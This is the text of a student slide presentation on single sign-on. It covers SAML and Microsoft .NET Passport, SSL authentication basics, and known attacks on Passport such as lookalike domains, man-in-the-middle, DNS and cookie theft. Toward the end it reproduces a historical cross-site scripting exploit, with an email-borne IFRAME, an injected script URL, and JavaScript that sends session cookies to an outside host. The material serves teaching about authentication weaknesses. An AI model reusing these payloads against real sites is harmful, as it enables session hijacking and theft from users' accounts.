Single Sign-on Systems SS5

Single Sign-on Systems
SS5
Scenario
Going to travel
Sign in for booking flight ticket
Sign in for booking hotel room
Sign in for renting a car
Multi sign on is troublesome
Is it possible to just sign-on once to perform
all the actions?
Single sign-on can be used to answer that
question.
Introduction
What is single sign-on
How does it works
Two single sign-on systems:
SAML
Microsoft passport
Attack to the Microsoft passport
Advantage and disadvantage of single sign-on
Definitions of Single Sign-On (SSO) on the Web:
Users sign onto a site only once and are given access to one
or more applications in a single domain or across multiple
domains. [1]
A mechanism to verify a user across multiple applications
through a single authentication challenge. WebSphere
Portal Server uses Java Authentication and Authorization
Services to achieve single sign-on.
[2]
One log-on provides access to all resources of the network,
LAN, or WAN. [3]
It can be illustrated in two different scopes.
One is in the client/server relationship, the
other is in the e-commerce domain.
In Client / Server relationship
“In any client/server relationship, single
sign-on is a session/user authentication
process that permits a user to enter one
name and password in order to access
multiple applications.”[4]
In E-commerce
“In e-commerce, the single sign-on
(sometimes referred to as SSO) is designed
to centralize consumer financial information
on one server- not only for the consumer's
convenience, but also to offer increased
security by limiting the number of times the
consumer enters credit card numbers or
other sensitive information used in
billing.”[5]
How does it work?
Password synchronization
The password synchronization is the process of
changing each password for different applications
to the same value, so that the user always enters
the same password. Once you install password
synchronization software, users will enter the
same password when they login to any of the
synchronized systems, such as to their network,
finance system, e-mail, calendar or the mainframe.
Password synchronization VS
Single sign-on
Password
Synchronization
Single Sign-on
Process
Simply changes all applications
to the same password. User
continues to login to each of
those applications separately,
but uses same password.
Use single username
and password to sign in
to one site, the client
authentication of other
site done by specific
server
Login times
Several times depends on the
application required
Once for every domain
Password synchronization VS
Single sing-on (con)
Manage credential
data
Manage passwords
only,
Use specific protocol
to manage the client
authentication and the
secrete information
Weak password
Can only match the
policy of the weakest
system
Only one password,
can make very secure
Security
Once one application
is compromised, all
the other applications
can be accessed, the
sensitive data will be
obtained.
Can encrypt to the
sensitive data and send
it by the SSL save
channel
SAML
What is SAML?
SAML (Security Assertion Markup
Language) an XML framework for
exchanging security information over the
Internet.
How it works
1.The service provider received the client request, and it sent the request to Identity
provider to do the client authentication.
2.Identity provider authenticate the client, create the assertion , and pass it back to the
service provider. SAML assertions can be add a SOAP Header blocks, and pass by the
HTTP protocol
Request from the Service provider
Here, a sample SAML-compliant request is sent from a
service provider requesting password authentication by the
identity provider.
<samlp: Request ...>
<samlp: AttributeQuery>
<saml: Subject>
<saml: NameIdentifier SecurityDomain="sun.
com" Name="rimap"/>
</ saml: Subject>
<saml: AttributeDesignator
AttributeName="Employee_ ID"
AttributeNamespace="sun. com">
</ saml: AttributeDesignator>
</ samlp: AttributeQuery>
</ samlp: Request>
Response from the Identity provider
In response, the issuing authority asserts that the subject (S) was
authenticated by means (M) at time (T).
<samlp: Response MajorVersion="1" MinorVersion="0"
RequestID="128.14.234.20.90123456"
InResponseTo="123.45.678.90.12345678"
StatusCode="/features/2002/05/Success">
<saml: Assertion MajorVersion="1" MinorVersion="0"
AssertionID="123.45.678.90.12345678" Issuer="Sun Microsystems,
Inc." IssueInstant="2002- 01- 14T10: 00: 23Z">
<saml: Conditions NotBefore="2002- 01- 14T10: 00: 30Z"
NotAfter="2002- 01- 14T10: 15: 00Z" />
<saml: AuthenticationStatement AuthenticationMethod="Password"
AuthenticationInstant="2001- 01- 14T10: 00: 20Z">
<saml: Subject>
<saml: NameIdentifier SecurityDomain="sun. com"
Name="rimap" />
</ saml: Subject>
</ saml: AuthenticationStatement>
</ saml: Assertion>
</ samlp: Response>
What is SAML composed of
Assertions
Request/response protocols
Bindings (the SOAP-over-HTTP method of
transporting SAML requests and responses)
Profiles (for embedding and extracting
SAML assertions in a framework or
protocol)
.NET Passport
.NET Passport
Microsoft® .NET Passport
- Passport single sign in service
- Kids Passport service
Passport supplies registered users an electronic
‘ticket’. With this ticket users are authorized to
access pages in participating sites.
.NET Passport
An implementation of Single Sign-On
system, based on the cookie mechanism.
Employing technique to prevent attacks
- Captcha telling human from computers
- Secure Sockets Layer (SSL)
.NET Passport
Registration process
- Information stored in passport account
- Captcha
- E-mail Validation
Authentication process
- Cookies written by passport
- Navigate to another Participating Site
- Secure Sockets Layer (SSL)
Passport service
Three parts in the system
Registration process (1)
1
2
3
4
5
In this example the user browses to Site A and click the “Sign In” button
The user is redirected to a co-branded registration page displaying the registration fields that were
chosen by Site A.
The user reads and accepts terms of use, and submits the registration form.
The user is then redirected back to Site A with their encrypted authentication ticket and profile
information attached.
Site A decrypts the authentication ticket and profile information and continues their registration
process, or grants access to their site.
[5]
Registration process (2)
Information Stored in a .NET Passport
- Credential stored only within the Passport
service
- Profile data stored within the Passport
service and shared with participating sites
based on user consent
Registration process (2)
Registration process (3)
Captcha Human Interaction Protocol
- telling human from computers by asking registers to type
in alphanumeric characters from a picture
- “bots” attackers submit thousands of fake registrations in
short time
Registration process (3)
CAPTCHA stands for “Completely Automated
Public Turing Test to Tell Computers and Humans Apart.” [6]
CAPTCHA test is a program that can generate and grade tests
that:
- Most humans can pass.
- Current computer programs can't pass.
For example, humans can read distorted text as the one shown below
but current computer programs can't:
Registration process (4)
E-mail Validation
- service sends a welcome e-mail message to
verify registration
- efficiently prevent e-mail addresses confusion
Unique Identifiers
When registering successfully, each account is
assigned a 64-bit Passport User ID (PUID).
Authentication Process (1)
1.
2.
3.
4.
5.
6.
User browses to participating site or service and clicks “Sign In” button or link.
User is redirected to Passport.net
Passport checks if the user has a “Ticket Granting Cookie” (TGT) in their browser’s cookie file, if
one is detected they skip to step 4 and never see the Passport login UI. If the TGT does not satisfy
the time since sign in rule requested by Site A, then Passport redirects the user to a log on page. If
the user enters the correct information, they proceed.
The user is redirected back to Site A with their encrypted authentication ticket and profile
information attached.
Site A decrypts authentication ticket and profile information, and signs the customer into their site.
User accesses the page, resource, or service they requested from Site A. [7]
Authentication Process (2)
Cookies written by Passport
Passport writes a cookie, called “ticket-granting-cookie”,
on the user’s browser. This cookie can be used as
electronic “tickets” in subsequent access.
- Cookies with credentials are encrypted with Passport key
- Cookies with profile information are encrypted with participating
sites key
Authentication Process (3)
Navigate to another Participating Site
- without re-entering password
- log current site in cookie
Authentication Process (4)
Secure Sockets Layer (SSL)
A security enhancing protocol providing data encryption,
server authentication, and message integrity for a
connection to the Internet
- Using Public Key Cryptography for Authentication
- Certificate mechanism
Secure Sockets Layer (SSL)
Using Public Key Cryptography for Authentication
Alice wants to authenticate Bob. Bob has a pair of keys, one public
and one private. Bob discloses the public key to Alice (this is discussed
in the "Handing Out Public Keys" )
Random msg
Bob
{Random msg}
Bob’s private key
Alice
Secure Sockets Layer (SSL)
Additional consideration
Bob encrypted a unknown message ???
Now Bob constructs a message digest and encrypts that message digest
- The digest is difficult to reverse.
- An impersonator has difficulty finding a different message that
computes to the same digest value.
Random msg
Bob
{digest [Random msg]}
Bob’s private key
Alice
Secure Sockets Layer (SSL)
Additional consideration(2) digital signature
Originating Data for Authentication
Alice -->Bob hello,are you bob?
Bob-->Alice Alice,This Is bob{digest[Alice,This Is
Bob]}bobs-private-key
Secure Sockets Layer (SSL)
Handing Out Public Keys
certificate mechanism
A certificate contains the following information:
•The name of the certificate issuer.
•The entity for whom the certificate is being issued
(also known as the subject).
•The public key of the subject.
•Some time stamps.
[8]
The certificate is signed by using the private key of the
certificate issuer.
Secure Sockets Layer (SSL)
Certificates are a standard method to bind a public key to a
name.
A-->B hello
B-->A Hi, I'm Bob, bobs-certificate
A-->B prove it
(Everyone knows the public key of the certificate issuer)
B-->A Alice, This Is bob{ digest[Alice, This Is Bob] } bobs-private-key
Exchanging a Secret
After A has authenticated B, A can send B a message that only B can decode
as follows
A->B {secret} Bob's_public_key
secret is a key to a symmetric cryptographic algorithm
After authentication, both A and B send message encrypted with the symmetric
key.
Secure Sockets Layer (SSL)
Potential attack!
B-->M
M-->A
{some message}secret-key
Garble[ {some message}secret-key ]
msg1
msg1
Alice
Bob
msg2
msg2
Mallory
Secure Sockets Layer (SSL)
Message Authentication Code (MAC)
MAC := digest[ some_message, secret ]
In .NET Passport, a 128-bit MAC is used.
A-->B
hello
B-->A
Hi, I'm Bob, bobs-certificate
A-->B
prove it
B-->A
{digest[Alice, This Is Bob] } bobsprivate-key
A-->B
ok bob, here is a secret {secret}
bobs-public-key
B-->A
{some message,MAC}secret-key
MS Passport security weaknesses
Cookies problem
Key management
Passport Server attack
Hotmail credential assignment
Cookies problems
Passport cookies contains sensitive data.
On a public machine, a user who forgets to log out could leave valid
authentication for any users to misuse.
Persistent cookies choice.
It is convenient, but risky.
Cookies are more social than technological.
It may compromise user privacy
Key management
Generate and Transfer key
 These keys should be generated randomly and securely.
 These keys are transferred by an SSL connection. This is likely to lead to
potential breaches
.
Single key to encrypt all the cookies
MS Passport uses a single key to encrypt all the cookies and store the
information in cookies on user’s machines. So it could be a better way to
use a master key to generate a unique key.
Passport Server Attack
 When you become a center point, you will become
an attractive target for attack.
 Different from traditional authentication, Passport
Server makes decisions about the authenticity of
all users and stores all data of users, including
users’ credit card numbers. It is extremely
attractive !
Hotmail credential assignment
 When users log into hotmail, they actually run the passport
protocol.
 Unfortunately, Hotmail has been fraught with security
problems.
 The attacker can log into user’s Hotmail account without
knowing the password.
 Then the attacker may go to the online shops using user’s
wallet.
For example: Emil Glosserman, Internet security expert,
attacked the Microsoft Hotmail and Passport server systems
twice.
Attack to the MS Passport
Fake merchant attack
Active attack
DNS attack
Cookie attack
Fake merchant attack
Bob = Passport user
Mallory = Attacker of Malicious party
Assumption: Bob get accustomed to using
passport and trust the security of the
passport server.
How to attack?
1.
Mallory sets up a phony web store to sell some attractive
things.
2.
Mallory gets a certificate for a web site, called pasport.com.
And Mallory sets up his web site which is exactly the same
as a real passport.com.
3.
So Bob want to buy something in Mallory’s shop, click signin, the server creates a redirect to Mallory’s pasport.com.
Bob is in the habit of filling his Email Address and
Password.
4.
After that, Mallory has got Bob’s valid authentication
information, and he can go to online shop, use Bob’s wallet
service on behalf of Bob.
Active attack
Bob = Passport user
Alice = trustful merchant
Mallory = Attacker of Malicious party
Assumption: Mallory has already accessed to
network between Bob and Alice, Mallory
could rewrite packets passing between Bob
and Alice.
How to attack?
1.
2.
3.
4.
5.
Bob want to buy something in Alice’s shop, and sends a
request to Alice.
Alice replies to Bob to use a login service at
www.passport.com.
Attacker Mallory, waiting between Bob and Alice,
interrupts the packet that Alice sends to Bob, and
rewrites the URL in the redirection to her fake
pasport.com.
Bob visits Mallory’s fake pasport web site, filling with
the login information. He has not noticed that !
Now, Mallory has succeeded to attack the system.
Mallory acts as a proxy between Bob and Alice, and
between Bob and Passport Server.
Why Mallory succeed?
Bob personal reason
The redirection from Alice to Bob is not protected
by SSL protocol.
Passport’s use of SSL connections cannot prevent
the Mallory from reading and rewriting each
packet, as all SSL connections are terminated on
the proxy.
DNS Attack
The security of Passport is heavily
decided by the Domain Name System. So
the attacker Mallory who controls Bob’s
DNS service could simply rewrite
passport.com to the IP address of
Mallory’s fake pasport.com. And it will
get the same result as above.
Cookie Attacks
A variety of cookies are set in the
passport .COM domain, when you login to
your Passport account
Two most important cookies:
1. MSPSec cookie : authenticates you to
Passport to implement the single sign on
feature
2. MSPAuth cookie: identifies you to the
server via the 64-bit Passport Unique ID
(PUID) associated with your account
The Implementation:
Passport Wallet
A fairly simple application implemented on
top of Passport that stores your credit card
and contact information
Stole it !!
Passport Wallet doesn't provide as much security
as it may appear at first glance. There are three
general areas of concern.
1. User may have entered their password, but not
intending to be used to access their Passport
Wallet.
2. A "manual sign in" doesn't actually require
that the user enter their password in some cases.
MSN Messenger
3. Cross Site Scripting Bugs
Examples:
Step: 1. Hotmail HTML Filtering Hole
From: Jennifer Sparks <xxx@xxx.xxxx>
To: anyone@hotmail.com
Subject: Jack said I should email you...
Hi Ted. Jack said we would really hit it off.
Maybe we can get together for drinks
sometime. May be this Friday? Let me know.
You can see the below for demonstration
purposes. In a real exploit, you wouldn't
even see it happening.
<_img foo="<IFRAME width='80%' height='400'
src='http:
//alive.znep.com/~marcs/passport/grabit.htm
l'></IFRAME>" >
Step 2. Setup a couple of Frames
<FRAME NAME="me1"
SRC="https://register.passport.com/ppsecure/404
please">
Allows us to steal the MSPSec cookie.
<FRAME NAME="me2"
SRC="https://register.passport.com/reg.srf?ru=h
ttps://ww.passport.com/%22%3E%3CSCRIPT%20src='h
ttp://alive.znep.com/~marcs/passport/snarf.js'%
3Ej%3C/SCRIPT%3E%3Flc%3D1033">
Exploits one of the passport.com cross site
scripting if you are logged in.
Step 3: Stealing the Cookies
The contents of Jennifer Sparks are quite
simple:
s = new String (document URL);
If (s.indexOf('http:') == 0) {
setTimeout('document.location="https:" +
s.substring(5, s.length-1, 1000)');
} else {
document.location="http://alive.znep.com/~marcs
/passport/snarf.cgi?cookies=" +
escape(parent.frames[0].document.cookie);
}
Step 4: So we have the cookies...
FINISHED!!!!
Advantages:
Although as we all see, the passport has so
many risks, why do we still like to use it?
Make things simple!!
Ease of use.
Password limited to local machine.
Simplified Management.
Business use (MS Passport)
Single sign-in.
Kids Passport.
Business Benefits of Passport
Save Time and Money Required to Build Authentication
Systems
Offer 200 Million Passport Users Easy Access to Your Site
Increase Customer Loyalty with Easy, Dependable
Personalization
Maintain Your Branding with Flexible Customization
Maintain Ownership and Control of Your Customer Data
Liberty Alliance
The Liberty Alliance Project is an alliance
of more than 150 companies, non-profit and
government organizations from around the
globe.
Liberty Alliance and Passport are both
primarily targeted at consumers and it will
be a while before there will be significant
web services use by consumers.
The Liberty Alliance is pushing forward
with its vision for an open-system single
sign-on, which officials have described as a
federated-view solution.
The Alliance plans to have personal
information controlled completely by the
user
Liberty version 1.0
Concludes: Web Redirection, Web Services,
Metadata and Schemas
Theoretically, the organizations in Alliance
could extend boundless.
it will bring the problems about the
flexibility of the system and the
management of the certification.
Conclusion
Single Sign-On enables users to login
quickly and securely to all their applications,
websites and mainframe sessions with just
one identity.
We look forward to the cooperation and
competition between Liberty Alliance and
Microsoft may promote the progress of
single Sign in System.
References
[1] www.cafesoft.com/support/security/glossary.html
[2] www3.ibm.com/software/webservers/portal/library/v12/InfoCenter/wps/glossary.ht
ml
[3] www.suliscommunication.com/language/ecommerce/ebus3.htm
[4]
http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci340859,00.html
[5]
http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci340859,00.html
[6] Microsoft .Net Passport Review Guide [Jan.2004]
[7] Telling Humans and Computers Apart Automatically
L u i s v o n A h n Feb. 2004
[8] XADM: How Secure Sockets Layer Works Microsoft.com
Nov. 2004